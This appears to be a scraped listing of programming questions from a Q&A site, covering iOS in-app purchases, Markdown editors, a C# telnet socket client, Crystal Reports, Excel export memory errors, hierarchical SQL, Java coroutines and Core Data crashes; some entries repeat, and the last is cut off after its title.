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• Using in app purchase to unlock features vs. using free & paid app versions for iPhone

  - by yabada

  I have an app that I was going to release as a free (lite) version with some of the total functionality and a paid full version with advanced functionality. Now, with in app purchase for free apps I am thinking of going that route with the ability to unlock features as needed. I'm not talking about a trial version that expires.I want people to be able to try out the app and get an idea of the interface and functionality before deciding to purchase the full functionality of each major section of the app, basically. Here's an analogy of what my app would be like. Let's say you have a cooking app that teaches you to cook in different styles. There could be major section for French, Italian, and Chinese. Each section could have some rudiments unlocked in the free app so users can see the UI and basics of the functionality. Then, the user could decide to purchase each major section (or not) individually with in app purchase or buy the full versioned app (with the free/paid model). One concern I have with offering a free app with in app purchase would be with feedback. I would be very clear in my description in the app store that there is in app purchase for full features but I'm worried that less serious users could/would leave negative feedback. I suppose that's always a risk but curious about any experience with this. It also seems that it could be a whole lot more complicated keeping track of what portions of the app are locked and unlocked with in app purchase. I know I'd have to have all the code for the full functionality and "lock" the portions that haven't been purchased. How do people usually lock portions of their code? I'm not talking about the process of purchasing (I've read the In App Purchase Programming Guide) but after the purchase has been made. Would I just keep track of what the user has purchased and put conditionals on the sections that are initially locked? Or is there another way to do this as well? My instinct is for the in app purchase (particularly since users could purchase the major sections that they want individually).

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• Which StackOverflow-style MarkDown (WMD) javascript editor should I use?

  - by Edan Maor

  Background I'm working on an application which requires user-entered content, and I've decided to use a StackOverflow-style MarkDown editor. After researching this topic for the last few days, I realize there are numerous forks of the base WMD editor, some with a few basic enhancements and some with serious differences from the StackOverflow one. Since this will be the heart of the application, I'd like to start with the best code base I can. I'd be happy if anyone can recommend which one of the many solutions out there best fits my needs. Below is requirements, plus what I've managed to find already. I'm hoping this question will help me decide which version to go with, and maybe help me discover a port out there that's an even better fit for my needs. The requirements for my project Live Preview Multiple editors on the same page (not know how many in advance, since the user can dynamically add another editing box). Ability to extend with extra buttons (I'd like a button to upload a picture, instead of just adding an img url). Ability to dynamically show/hide the edit box (and only see the preview box). Not an absolute must, but I'd prefer to stick as close to StackOverflow's look and feel, since it's well known. Don't know if this matters, but the backend is written in Django. Editors I've looked at Here are a few of the code bases I've looked at, with thoughts. Obviously, I might be missing another solution out there. The derobins version. From what I can tell, this is the official StackOverflow version. Seems like it doesn't support multiple editors on one page. JQuery.MarkEdit. Looks very good, but is pretty different from the StackOverflow version. MooWMD. Looks like the winner right now, but I'm a little concerned since it looks less active/hackable than MarkEdit. The wmd-new version. Not sure, looks like an old codebase without much use. The SocialSite branch. Seems like it's not for public use.

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• Telnet connection using c#

  - by alejandrobog

  Our office currently uses telnet to query an external server. The procedure is something like this. Connect - telnet opent 128........ 25000 Query - we paste the query and then hit alt + 019 Response - We receive the response as text in the telnet window So I’m trying to make this queries automatic using a c# app. My code is the following First the connection. (No exceptions) SocketClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); String szIPSelected = txtIPAddress.Text; String szPort = txtPort.Text; int alPort = System.Convert.ToInt16(szPort, 10); System.Net.IPAddress remoteIPAddress = System.Net.IPAddress.Parse(szIPSelected); System.Net.IPEndPoint remoteEndPoint = new System.Net.IPEndPoint(remoteIPAddress, alPort); SocketClient.Connect(remoteEndPoint); Then I send the query (No exceptions) string data ="some query"; byte[] byData = System.Text.Encoding.ASCII.GetBytes(data); SocketClient.Send(byData); Then I try to receive the response byte[] buffer = new byte[10]; Receive(SocketClient, buffer, 0, buffer.Length, 10000); string str = Encoding.ASCII.GetString(buffer, 0, buffer.Length); txtDataRx.Text = str; public static void Receive(Socket socket, byte[] buffer, int offset, int size, int timeout) { int startTickCount = Environment.TickCount; int received = 0; // how many bytes is already received do { if (Environment.TickCount > startTickCount + timeout) throw new Exception("Timeout."); try { received += socket.Receive(buffer, offset + received, size - received, SocketFlags.None); } catch (SocketException ex) { if (ex.SocketErrorCode == SocketError.WouldBlock || ex.SocketErrorCode == SocketError.IOPending || ex.SocketErrorCode == SocketError.NoBufferSpaceAvailable) { // socket buffer is probably empty, wait and try again Thread.Sleep(30); } else throw ex; // any serious error occurr } } while (received < size); } Every time I try to receive the response I get "an exsiting connetion has forcibly closed by the remote host" if open telnet and send the same query I get a response right away Any ideas, or suggestions?

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• Crystal reports .net visual studio 2008 bundled edition

  - by DeveloperChris

  I have a serious issue with crystal reports. when run in my development environment or debugged on my local machine it works fine. but when the application is published to a windows server 2003 it has the dreaded "The report you requested requires further information" Message I have had no luck trying to get rid of this message Anybody know what I can try? DC Here is a bunch more info. I use a placeholder in the aspx page and then set the user/password and database in the codebehind I could not get it to work with a dataset and found that I had to assign odbc connection in the cr designer. and then in the code behind change the above details as required. This is done because the same report can get the data from 3 different databases (live development and training) protected override void Page_Load(object sender, EventArgs e) { base.Page_Load(sender, e); CrystalReportSource1.ReportDocument.Load(Server.MapPath(@"~/Reports/Report5asp.rpt")); CrystalReportViewer1.ReportSource = ConfigureCrystalReports(CrystalReportSource1.ReportDocument,CrystalReportViewer1); // parameters CrystalReportViewer1.ParameterFieldInfo.Clear(); AddParameter("DIid", _app.Data["DIid"], CrystalReportViewer1.ParameterFieldInfo); AddParameter("EEid", _app.Data["EEid"], CrystalReportViewer1.ParameterFieldInfo); AddParameter("CTid", _app.Data["CTid"], CrystalReportViewer1.ParameterFieldInfo); } public ReportDocument ConfigureCrystalReports(ReportDocument report, CrystalReportViewer viewer) { String _connectionString = _app.ConnectionString(); String dsn = _app.DSN(); SqlConnectionStringBuilder SConn = new SqlConnectionStringBuilder(_connectionString); TableLogOnInfos crtableLogoninfos = new TableLogOnInfos(); TableLogOnInfo crtableLogoninfo = new TableLogOnInfo(); ConnectionInfo crConnectionInfo = new ConnectionInfo(); crConnectionInfo.ServerName = dsn;// SConn.DataSource; crConnectionInfo.DatabaseName = SConn.InitialCatalog; crConnectionInfo.UserID = SConn.UserID; crConnectionInfo.Password = SConn.Password; crConnectionInfo.Type = ConnectionInfoType.SQL; crConnectionInfo.IntegratedSecurity = false; foreach (CrystalDecisions.CrystalReports.Engine.Table CrTable in report.Database.Tables) { crtableLogoninfo = CrTable.LogOnInfo; crtableLogoninfo.ConnectionInfo = crConnectionInfo; CrTable.ApplyLogOnInfo(crtableLogoninfo); } return report; } As stated this works fine on my XP machine used for development when deployed on winserver 2003 I get the error DC Some interesting additional information I moved the development to my home machine so I could work on the problem this weekend. So now I am developing debugging and testing on the same machine! In VS2008 I can edit and preview the reports with no problems If I fire up the debugger I can view the reports in the browser with no problems But if I publish the website to another folder on the same machine and fire up IIS and try to browse to a report I get the aforementioned error. All else works as expected. IIS runs under different permissions than VS2008 so perhaps its something to do with that, but I have tried lots of different permissions and cannot get it to run. DC

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• Is there any way that an export-to-Excel function can be scalable?

  - by MusiGenesis

  Summary: ASP.Net website with a couple hundred users. Data is exported to Excel files which can be relatively large (~5 MB). In the pilot phase (just a few users), we are already seeing occasional errors on the server in the exporting method. Here's the stack trace: System.Web.HttpUnhandledException: Exception of type 'System.Web.HttpUnhandledException' was thrown. --- System.OutOfMemoryException: Exception of type 'System.OutOfMemoryException' was thrown. at System.IO.MemoryStream.set_Capacity(Int32 value) at System.IO.MemoryStream.EnsureCapacity(Int32 value) at System.IO.MemoryStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Packaging.TrackingMemoryStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Packaging.SparseMemoryStream.WriteAndCollapseBlocks(Byte[ ] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Packaging.SparseMemoryStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Packaging.CompressEmulationStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Packaging.CompressStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Zip.ProgressiveCrcCalculatingStream.Write(Byte[] buffer, Int32 offset, Int32 count) at MS.Internal.IO.Zip.ZipIOModeEnforcingStream.Write(Byte[] buffer, Int32 offset, Int32 count) at System.IO.StreamWriter.Flush(Boolean flushStream, Boolean flushEncoder) at System.IO.StreamWriter.Write(String value) at System.Xml.XmlTextEncoder.Write(String text) at System.Xml.XmlTextWriter.WriteString(String text) at System.Xml.XmlText.WriteTo(XmlWriter w) at System.Xml.XmlAttribute.WriteContentTo(XmlWriter w) at System.Xml.XmlAttribute.WriteTo(XmlWriter w) at System.Xml.XmlElement.WriteTo(XmlWriter w) at System.Xml.XmlElement.WriteContentTo(XmlWriter w) at System.Xml.XmlElement.WriteTo(XmlWriter w) at System.Xml.XmlElement.WriteContentTo(XmlWriter w) at System.Xml.XmlElement.WriteTo(XmlWriter w) at System.Xml.XmlElement.WriteContentTo(XmlWriter w) at System.Xml.XmlElement.WriteTo(XmlWriter w) at System.Xml.XmlDocument.WriteContentTo(XmlWriter xw) at System.Xml.XmlDocument.WriteTo(XmlWriter w) at System.Xml.XmlDocument.Save(Stream outStream) at OfficeOpenXml.ExcelWorksheet.Save() in C:\temp\XXXXXXXXXX\ExcelPackage\ExcelWorksheet.cs:line 605 at OfficeOpenXml.ExcelWorkbook.Save() in C:\temp\XXXXXXXXXX\ExcelPackage\ExcelWorkbook.cs:line 439 at OfficeOpenXml.ExcelPackage.Save() in C:\temp\XXXXXXXXXX\ExcelPackage\ExcelPackage.cs:line 348 at Framework.Exporting.Business.ExcelExport.BuildReport(HttpContext context) at WebUserControl.BtnXLS_Click(Object sender, EventArgs e) in C:\TEMP\XXXXXXXXXX\XXXXXXXXXX\OneList\UserControls\TicketReportExporter. ascx.cs:line 108 at System.Web.UI.WebControls.Button.OnClick(EventArgs e) at System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) at System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.Rai sePostBackEvent(String eventArgument) at System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) at System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) --- End of inner exception stack trace --- at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) at System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) at System.Web.UI.Page.ProcessRequest(HttpContext context) at ASP.XXXXXXXXXXX_aspx.ProcessRequest(HttpContext context) in c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\XXXX\cdf32a52\d1a5eabd\App_Web_enxdwlks.1.cs:line 0 at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpAppli cation.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) Even aside from this particular problem, in general exporting to Excel requires the instantiation of huge Excel objects on the server for each request, which I've always assumed to mean disqualifies Excel for "serious" work on a highly-loaded server. Is there any general way to export to Excel in a "light-weight" manner? Would simply streaming the data into a CSV file work for this?

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• Any way to speed up this hierarchical query?

  - by RenderIn

  I've got a serious performance problem with a hierarchical query that I can't seem to fix. I am modeling several organization charts in my database, each representing a virtual organization within our company. For example, we have several temporary committees that are created from time to time and there may be a Committee Organizer role at the top of this virtual hierarchy, with several people assigned to the Committee Member role beneath the organizer. Some of our virtual organizations have many levels and several branches at each level. I have a single table in which I represent all the role assignments. i.e. a ROLE_ID column and a PARENT_ROLE_ID column which is a foreign key to the ROLE_ID column. For each assignment we also store as a column the location in the company where this person has the assignment. For example, the Committee Organizer would have a company-level/ CEO assignment, while the committee members would have department-level assignments such as ACCOUNTING, MARKETING, etc. So to model the organizer/member relationship for two individuals we would have: ROLE_ID = 4 PARENT_ROLE_ID = NULL EMPLOYEE_NUMBER = 213423 COMPANY_LOCATION = CEO ROLE_ID = 5 PARENT_ROLE_ID = 4 EMPLOYEE_NUMBER = 838221 COMPANY_LOCATION = ACCOUNTING Here's where things get tricky. I have an application that every person in the organization can log in to. When they log in they should be able to view all the virtual organizations in our company. e.g. the committee members should be able to see the committee organizer and vice-versa. However, only the committee organizer should be able to edit the committee members. The difficulty is in determining whether an individual (who can have multiple role assignments) has edit access for each other assignment. While this seems simple in the example, consider a virtual organization in which we have President at the top, 5 departments directly beneath him, 2 subdepartments below each department. We only want people in the Accounting department to be able to edit individuals in the subdepartments belonging to the Accounting department. They should not have edit access to anybody in the Marketing department or its subdepartments. To determine edit access when a user views a virtual organization in our company I run a query that executes two inline views: A) Hierarchically query for all assignments in this virtual organization and using SYS_CONNECT_BY_PATH to store the entire path to each user/role/company_location and B) Hierarchically retrieve all the assignments the individual logged in has and using the SYS_CONNECT_BY_PATH to store the entire path to each of these assignments. The result of the query is all the records from A) plus a boolean determined by joining with B) which flags whether the logged in user has edit access for each record. Indexes don't seem to be helping... it simply appears that there is too much processing going on to separate all the records and then determine edit access. One issue is that I can't store the SYS_CONNECT_BY_PATH and index it... determining whether an individual record has edit access consists of comparing if: test_record_sys_path LIKE individual_record_sys_path || '%' Is a materialized view the answer?

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• How hard programming is? Really. [closed]

  - by Bubba88

  Hi! The question is about your perception of programming activity. How hard/exacting this task is? There is much buzz about programming nowadays, people say that programmers are smart, very technical and abstract at a time, know much about world, psychology etc.. They say, that programmers got really powerful brain thing, cause there is much to keep in consideration simultaneously again with much information folded into each other associatively (up 10 levels of folding they say))) Still, there are some terms to specify at our own.. So that is the question: What do you think about programming in general? Is it hard? Is it 'for everyone' or for the particular kind of people only? How much non-CS background do you need to program (just to program, really; enterprise applications for example)? How long is the learning curve? (again, for programming in general) And another bunch of random questions: - If you were not to like/love programming, would that be a serious trouble bothering your current employment? - If you were to start from the beginning, would you chose that direction this time? - What other areas (jobs or maybe hobbies) are comparable to programming in the way they can explode someone's lovely brain? - Is 'non turing-complete programming' (SQL, XML, etc.) comparable to what we do or is it really way easier, less requiring, cheap and akin to cooking :)? Well, the essence is: How would you describe programming activity WRT to its difficulty? Or, on the other hand: Did you ever catch yourself thinking at some point: OMG, it's sooo hard! I don't know how would I ever program, even carried away this way and doing programming just for fun? It's very interesting to know your opinion, your'e the programmers after all. I mean much people must be exaggerating/speculating about the thing they do not really know about. But that musn't be the case here on SO :) P.S.: I'll try my best to update this post later, and you please edit it too. At least I'll get decent English in my question text :)

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• Visual Studio soft-crashing when encountering XAML Errors in initialize.

  - by Aren

  I've been having some serious issues with Visual Studio 2010 as of late. It's been crashing in a peculiar way when I encounter certain types of XAML errors during the InitializeComponent() of a control/window. The program breaks and visual studio gears up like it's catching an exception (because it is) and then stops midway displaying a broken highlight in my XAML file with no details as to what is wrong. Example: There is not pop outs, or details Anywhere about what is wrong, only a callstack that points to my InitializeComponent() call. Now normally I'd just do some trial and error to fix this problem, and find out where i messed up, but the real problem isn't my code. Visual Studio is rendered completely useless at this point. It reports my application still in "Running" mode. The Stop/Break/Restart buttons on the toolbar or in the menus don't do anything (but grey out). Closing the application does not stop this behaviour, closing visual studio gets it stuck in a massive loop where it yells at me complaining every file open is not in the debug project, then repeats this process when i have exausted every open file. I have to force-close devenv.exe, and after this happening 3-4 times in a row it's a lot of wasted time (as my projects are usually pretty big and studio can be quite slow @ loading). To the point Has anyone else experienced this? How can I stop studio from locking up. Can I at LEAST get information out of this beast another way so i can fix my XAML error sooner rather than after 3-4 trial-and-error compiles yielding the same crash? Any & All help would be appreciated. Visual Studio 2010 version: 10.0.30319.1RTM Edit & Update FWIW, mostly the errors that cause this are XamlParseExceptions (I figured this out after i found what was wrong with my XAML). I think I need to be clearer though, Im not looking for the solution to my code problem, as these are usually typos / small things, I'm looking for a solution to VStudio getting all buggered up as a result. The particular error in the above image that 100% for sure caused this was a XamlParseException caused by forgetting a Value attribute on a data trigger. I've fixed that part but it still doesn't tell my why my studio becomes a lump of neutered program when a perfectly normal exception is thrown in the parsing of the XAML. Code that will cause this issue (at least for me) This is the base template WPF Application, with the following Window.xaml code. The problem is a missing Value="True" on the <DataTrigger ...> in the template. It generates a XamlParseException and Visual Studio Crashes as described above when debugging it. Final Notes The following solutions did not help me: Restarting Visual Studio Rebooting Reinstalling Visual Studio

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• Share a "deep link" from a Windows 8/WinRT application

  - by Dave Parker

  I have searched using many different terms and phrases, and waded through many pages of results, but I have (remarkably) not seen anyone else addressing, even asking, about, this issue. So here goes... Ultimate Goal: Allow a user viewing a content-based page (may contain both text and images) within a Windows Store app to share that content with someone else. Description I am working on taking a fair amount of content and making it available for browsing/navigating as a Windows 8/WinRT/Windows Store (we need a consistent name here) application. One of the desired features is to take advantage of the Share Charm, such that someone viewing a page could share that page with someone else. The ideal behavior is for the application to implement the Share Source contract which would share an email message that contained some explanatory text, a link to get the app from the Windows Store, and a "deep link" into the shared page in the application. Solutions Considered We had originally looked at just generating a PDF representation of the page, but there are very few external libraries that would work under WinRT, and having to include externally licensed code would be problematic as well. Writing our own PDF generation code would out of scope. We have also considered generating a Word document or PowerPoint slide using OpenXML, but again, we run up against the limitaions of WinRT. In this case, it is highly unlikely the OpenXML SDK is useable in a WinRT application. Another thought was to pre-generate all of the pages as .pdf files, store them as resources, and when the Share Charm is invoked, share the .pdf file associated with the current page. The problem here is the application will have at least 150 content pages, and depending on how we break the content down, up to over 600. This would likely cause serious bloat. Where We Are At Thus we have come to sharing URIs. From what I can tell, though, the "deep linking" feature is only intended for use on Secondary Tiles tied to your application. Another avenue I considered was registering a protocol like, "my-special-app:" with the OS and having it fire up the application but that would require HKCR registry access, which is outside the WinRT sandbox. If it matters, we are leaning towards an HTML/JS application, rather than XAML/C#, because the converted content will all be in HTML and the WebView control in WinRT is fairly limited. This decision is not yet final, though. Conclusion So, is this possible, and if so, how would it be done or where can I find documentation on it? Thanks, Dave Parker

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• Available Coroutine Libraries in Java

  - by JUST MY correct OPINION

  I would like to do some stuff in Java that would be clearer if written using concurrent routines, but for which full-on threads are serious overkill. The answer, of course, is the use of coroutines, but there doesn't appear to be any coroutine support in the standard Java libraries and a quick Google on it brings up tantalising hints here or there, but nothing substantial. Here's what I've found so far: JSIM has a coroutine class, but it looks pretty heavyweight and conflates, seemingly, with threads at points. The point of this is to reduce the complexity of full-on threading, not to add to it. Further I'm not sure that the class can be extracted from the library and used independently. Xalan has a coroutine set class that does coroutine-like stuff, but again it's dubious if this can be meaningfully extracted from the overall library. It also looks like it's implemented as a tightly-controlled form of thread pool, not as actual coroutines. There's a Google Code project which looks like what I'm after, but if anything it looks more heavyweight than using threads would be. I'm basically nervous of something that requires software to dynamically change the JVM bytecode at runtime to do its work. This looks like overkill and like something that will cause more problems than coroutines would solve. Further it looks like it doesn't implement the whole coroutine concept. By my glance-over it gives a yield feature that just returns to the invoker. Proper coroutines allow yields to transfer control to any known coroutine directly. Basically this library, heavyweight and scary as it is, only gives you support for iterators, not fully-general coroutines. The promisingly-named Coroutine for Java fails because it's a platform-specific (obviously using JNI) solution. And that's about all I've found. I know about the native JVM support for coroutines in the Da Vinci Machine and I also know about the JNI continuations trick for doing this. These are not really good solutions for me, however, as I would not necessarily have control over which VM or platform my code would run on. (Indeed any bytecode manipulation system would suffer similar problems -- it would be best were this pure Java if possible. Runtime bytecode manipulation would restrict me from using this on Android, for example.) So does anybody have any pointers? Is this even possible? If not, will it be possible in Java 7? Edited to add: Just to ensure that confusion is contained, this is a related question to my other one, but not the same. This one is looking for an existing implementation in a bid to avoid reinventing the wheel unnecessarily. The other one is a question relating to how one would go about implementing coroutines in Java should this question prove unanswerable. The intent is to keep different questions on different threads.

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• Which MarkDown (WMD) javascript editor should I use?

  - by Edan Maor

  Background I'm working on an application which requires user-entered content, and I've decided to use a StackOverflow-style MarkDown editor. After researching this topic for the last few days, I realize there are numerous forks of the base WMD editor, some with a few basic enhancements and some with serious differences from the StackOverflow one. Since this will be the heart of the application, I'd like to start with the best code base I can. I'd be happy if anyone can recommend which one of the many solutions out there best fits my needs. Below is requirements, plus what I've managed to find already. I'm hoping this question will help me decide which version to go with, and maybe help me discover a port out there that's an even better fit for my needs. The requirements for my project Live Preview Multiple editors on the same page (not know how many in advance, since the user can dynamically add another editing box). Ability to extend with extra buttons (I'd like a button to upload a picture, instead of just adding an img url). Ability to dynamically show/hide the edit box (and only see the preview box). Not an absolute must, but I'd prefer to stick as close to StackOverflow's look and feel, since it's well known. Don't know if this matters, but the backend is written in Django. Editors I've looked at Here are a few of the code bases I've looked at, with thoughts. Obviously, I might be missing another solution out there. The derobins version. From what I can tell, this is the official StackOverflow version. Seems like it doesn't support multiple editors on one page. JQuery.MarkEdit. Looks very good, but is pretty different from the StackOverflow version. MooWMD. Looks like the winner right now, but I'm a little concerned since it looks less active/hackable than MarkEdit. The wmd-new version. Not sure, looks like an old codebase without much use. The SocialSite branch. Seems like it's not for public use.

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• Do Websites need Local Databases Anymore?

  - by viatropos

  If there's a better place to ask this, please let me know. Every time I build a new website/blog/shopping-cart/etc., I keep trying to do the following: Extract out common functionality into reusable code (Rubygems and jQuery plugins mostly) If possible, convert that gem into a small service so I never have to deal with a database for the objects involved (by service, I mean something lean and mean, usually built with the Sinatra Web Framework with a few core models). My assumption is, if I can remove dependencies on local databases, that will make it easier and more scalable in the long run (scalable in terms of reusability and manageability, not necessarily database/performance). I'm not sure if that's a good or bad assumption yet. What do you think? I've made this assumption because of the following reason: Most serious database/model functionality has been built on the internet somewhere. Just to name a few: Social Network API: Facebook Messaging API: Twitter Mailing API: Google Event API: Eventbrite Shopping API: Shopify Comment API: Disqus Form API: Wufoo Image API: Picasa Video API: Youtube ... Each of those things are fairly complicated to build from scratch and to make as optimized, simple, and easy to use as those companies have made them. So if I build an app that shows pictures (picasa) on an Event page (eventbrite), and you can see who joined the event (facebook events), and send them emails (google apps api), and have them fill out monthly surveys (wufoo), and watch a video when they're done (youtube), all integrated into a custom, easy to use website, and I can do that without ever creating a local database, is that a good thing? I ask because there's two things missing from the puzzle that keep forcing me to create that local database: Post API RESTful/Pretty Url API While there's plenty of Blogging systems and APIs for them, there is no one place where you can just write content and have it part of some massive thing. For every app, I have to use code for creating pretty/restful urls, and that saves posts. But it seems like that should be a service! Question is, is that what the website is? ...That place to integrate the worlds services for my specific cause... and, sigh, to store posts that only my site has access to. Will everyone always need "their own blog"? Why not just have a profile and write lots of content on an established platform like StackOverflow or Facebook? ... That way I can write apps entirely without a database and know that I'm doing it right. Note: Of course at some point you'd need a database, if you were doing something unique or new. But for the case where you're just rewiring information or creating things like videos, events, and products, is it really necessary anymore??

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• Would a Centralized Blogging Service Work?

  - by viatropos

  If there's a better place to ask this, please let me know. Every time I build a new website/blog/shopping-cart/etc., I keep trying to do the following: Extract out common functionality into reusable code (Rubygems and jQuery plugins mostly) If possible, convert that gem into a small service so I never have to deal with a database for the objects involved (by service, I mean something lean and mean, usually built with the Sinatra Web Framework with a few core models. My assumption is, if I can remove dependencies on local databases, that will make it easier and more scalable in the long run (scalable in terms of reusability and manageability, not necessarily database/performance). I'm not sure if that's a good or bad assumption yet. What do you think? I've made this assumption because of the following reason: Most serious database/model functionality has been built on the internet somewhere. Just to name a few: Social Network API: Facebook Messaging API: Twitter Mailing API: Google Event API: Eventbrite Shopping API: Shopify Comment API: Disqus Form API: Wufoo Image API: Picasa Video API: Youtube ... Each of those things are fairly complicated to build from scratch and to make as optimized, simple, and easy to use as those companies have. So if I build an app that shows pictures (picasa) on an Event page (eventbrite), and you can see who joined the event (facebook events), and send them emails (google apps api), and have them fill out monthly surveys (wufoo), and watch a video when they're done (youtube), all integrated into a custom, easy to use website, and I can do that without ever creating a local database, is that a good thing? I ask because there's two things missing from the puzzle that keep forcing me to create that local database: Post API RESTful/Pretty Url API While there's plenty of Blogging systems and APIs for them, there is no one place where you can just write content and have it part of some massive thing. For every app, I have to use code for creating pretty/restful urls, and that saves posts. But it seems like that should be a service! Question is, is that the main point of a website? Will everyone always need "their own blog"? Why not just have a profile and write lots of content on an established platform like StackOverflow or Facebook?

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• Windows 7 - pydoc from cmd

  - by Random_Person

  Okay, I'm having one of those moments that makes me question my ability to use a computer. This is not the sort of question I imagined asking as my first SO post, but here goes. Started on Zed's new "Learn Python the Hard Way" since I've been looking to get back into programming after a 10 year hiatus and python was always what I wanted. This book has really spoken to me. That being said, I'm having a serious issue with pydoc from the command. I've got all the directories in c:/python26 in my system path and I can execute pydoc from the command line just fine regardless of pwd - but it accepts no arguments. Doesn't matter what I type, I just get the standard pydoc output telling me the acceptable arguments. Any ideas? For what it's worth, I installed ActivePython as per Zed's suggestion. C:\Users\Chevee>pydoc file pydoc - the Python documentation tool pydoc.py <name> ... Show text documentation on something. <name> may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If <name> contains a '\', it is used as the path to a Python source file to document. If name is 'keywords', 'topics', or 'modules', a listing of these things is displayed. pydoc.py -k <keyword> Search for a keyword in the synopsis lines of all available modules. pydoc.py -p <port> Start an HTTP server on the given port on the local machine. pydoc.py -g Pop up a graphical interface for finding and serving documentation. pydoc.py -w <name> ... Write out the HTML documentation for a module to a file in the current directory. If <name> contains a '\', it is treated as a filename; if it names a directory, documentation is written for all the contents. C:\Users\Chevee> EDIT: New information, pydoc works just fine in PowerShell. As a linux user, I have no idea why I'm trying to use cmd anyways--but I'd still love to figure out what's up with pydoc and cmd. EDIT 2: More new information. In cmd... c:\>python c:/python26/lib/pydoc.py file ...works just fine. Everything works just fine with just pydoc in PowerShell without me worrying about pwd, or extensions or paths.

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• Coroutines in Java

  - by JUST MY correct OPINION

  I would like to do some stuff in Java that would be clearer if written using concurrent routines, but for which full-on threads are serious overkill. The answer, of course, is the use of coroutines, but there doesn't appear to be any coroutine support in the standard Java libraries and a quick Google on it brings up tantalising hints here or there, but nothing substantial. Here's what I've found so far: JSIM has a coroutine class, but it looks pretty heavyweight and conflates, seemingly, with threads at points. The point of this is to reduce the complexity of full-on threading, not to add to it. Further I'm not sure that the class can be extracted from the library and used independently. Xalan has a coroutine set class that does coroutine-like stuff, but again it's dubious if this can be meaningfully extracted from the overall library. It also looks like it's implemented as a tightly-controlled form of thread pool, not as actual coroutines. There's a Google Code project which looks like what I'm after, but if anything it looks more heavyweight than using threads would be. I'm basically nervous of something that requires software to dynamically change the JVM bytecode at runtime to do its work. This looks like overkill and like something that will cause more problems than coroutines would solve. Further it looks like it doesn't implement the whole coroutine concept. By my glance-over it gives a yield feature that just returns to the invoker. Proper coroutines allow yields to transfer control to any known coroutine directly. Basically this library, heavyweight and scary as it is, only gives you support for iterators, not fully-general coroutines. The promisingly-named Coroutine for Java fails because it's a platform-specific (obviously using JNI) solution. And that's about all I've found. I know about the native JVM support for coroutines in the Da Vinci Machine and I also know about the JNI continuations trick for doing this. These are not really good solutions for me, however, as I would not necessarily have control over which VM or platform my code would run on. (Indeed any bytecode manipulation system would suffer similar problems -- it would be best were this pure Java if possible. Runtime bytecode manipulation would restrict me from using this on Android, for example.) So does anybody have any pointers? Is this even possible? If not, will it be possible in Java 7?

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• NSSortDescriptor for NSFetchRequestController causes crash when value of sorted attribute is changed

  - by AJ

  I have an Core Data Entity with a number of attributes, which include amount(float), categoryTotal(float) and category(string) The initial ViewController uses a FethchedResultsController to retrieve the entities, and sorts them based on the category and then the categoryTotal. No problems so far. NSManagedObjectContext *moc = [self managedObjectContext]; NSEntityDescription *entityDescription = [NSEntityDescription entityForName:@"Transaction" inManagedObjectContext:moc]; NSFetchRequest *request = [[[NSFetchRequest alloc] init] autorelease]; [request setEntity:entityDescription]; NSPredicate *predicate = [NSPredicate predicateWithFormat:@"(dateStamp >= %@) AND (dateStamp =< %@)", startDate, endDate]; [request setPredicate:predicate]; NSSortDescriptor *sortByCategory = [[NSSortDescriptor alloc] initWithKey:@"category" ascending:sortOrder]; NSSortDescriptor *sortByTotals = [[NSSortDescriptor alloc] initWithKey:@"categoryTotal" ascending:sortOrder]; NSArray *sortDescriptors = [[NSArray alloc] initWithObjects:sortByTotals, sortByCategory, nil]; [request setSortDescriptors:sortDescriptors]; NSFetchedResultsController *aFetchedResultsController = [[NSFetchedResultsController alloc] initWithFetchRequest:request managedObjectContext:managedObjectContext sectionNameKeyPath:@"category" cacheName:nil]; aFetchedResultsController.delegate = self; self.fetchedResultsController = aFetchedResultsController; On selecting a row (tableView:didSelectRowAtIndexPath), another view controller is loaded that allows editing of the amount field for the selected entity. Before returning to the first view, categoryTotal is updated by the new ‘amount’. The problem comes when returning to the first view controller, the app bombs with *Serious application error. Exception was caught during Core Data change processing: Invalid update: invalid number of rows in section 0. The number of rows contained in an existing section after the update (1) must be equal to the number of rows contained in that section before the update (1), plus or minus the number of rows inserted or deleted from that section (0 inserted, 1 deleted). with userInfo (null) Program received signal: “EXC_BAD_ACCESS”.* This seems to be courtesy of NSSortDescriptor *sortByTotals = [[NSSortDescriptor alloc] initWithKey:@"categoryTotal" ascending:sortOrder]; If I remove this everything works as expected, but obviously without the sorting I want. I'm guessing this is to do with the sorting order changing due to categoryTotal changing (deletion / insertion) but can't find away fix this. I've verified that values are being modified correctly in the second view, so it appears down to the fetchedResultsController being confused. If the categoryAmount is changed to one that does not change the sort order, then no error is generated I'm not physically changing (ie deleting) the number of items the fetchedResultsController is returning ... the only other issue I can find that seem to generate this error Any ideas would be most welcome Thanks, AJ

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• How do you combine "Revision Control" with "WorkFlow" for R?

  - by Tal Galili

